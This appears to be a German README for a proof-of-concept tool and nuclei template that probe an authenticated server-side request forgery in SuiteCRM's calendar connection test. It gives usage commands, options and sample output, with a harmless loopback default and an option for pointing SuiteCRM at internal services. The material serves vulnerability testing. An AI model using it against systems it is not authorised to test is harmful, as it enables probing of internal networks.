
SuiteCRM <= 7.15.1, <= 8.10.1 – Authentifizierte SSRF
Authentifizierter Proof of Concept für Server-Side Request Forgery in SuiteCRM über den Endpunkt CalendarAccount/testConnection und den Provider caldav_basic.
Betroffene SuiteCRM-Versionen akzeptieren die server_url eines authentifizierten Benutzers und übergeben sie ohne Validierung des Ziels an cURL. Dies ermöglicht serverseitige Anfragen an Loopback- oder interne HTTP-Dienste. In verwundbaren Releases kann eine fehlgeschlagene Verbindungsantwort zudem die Antwortdaten des abgerufenen Dienstes in der Fehlermeldung offenlegen.
Der PoC authentifiziert sich mit einem gültigen SuiteCRM-Konto und ruft eine kontrollierte URL auf. Sein Standardziel, http://127.0.0.1:1/, ist ein geschlossener Loopback-Port: Er belegt, dass SuiteCRM die serverseitige Verbindung versucht hat, ohne einen externen Dienst anzufragen.
--server-url angegebenen ZielsEs werden keine Python-Pakete von Drittanbietern benötigt.
Grundlegende lokale Validierung gegen SuiteCRM:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
Eine bestehende authentifizierte Session verwenden:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
Ein autorisiertes internes oder kontrolliertes Ziel testen:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url SuiteCRM-Basis-URL
-U, --username SuiteCRM-Benutzername
-P, --password SuiteCRM-Passwort
--cookie Wert des authentifizierten SuiteCRM-Cookie-Headers
--server-url Von SuiteCRM abgerufene URL; Standard: http://127.0.0.1:1/
--timeout HTTP-Timeout in Sekunden; Standard: 35
-k, --insecure TLS-Zertifikatsprüfung deaktivieren
Verwundbare Versionen geben nach der Verarbeitung der übergebenen URL einen Verbindungstestfehler zurück:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
Gepatchte Versionen lehnen unzulässige Ziele ab, bevor die Verbindung versucht wird:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml authentifiziert sich mit username und password, verwendet die SuiteCRM-Session weiter und führt dieselbe Closed-Loopback-Probe durch:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
Das Template wurde validiert mit:
nuclei -validate -t CVE-2026-69137.yaml
--server-url nur gegen Ziele, die Sie zu testen berechtigt sind.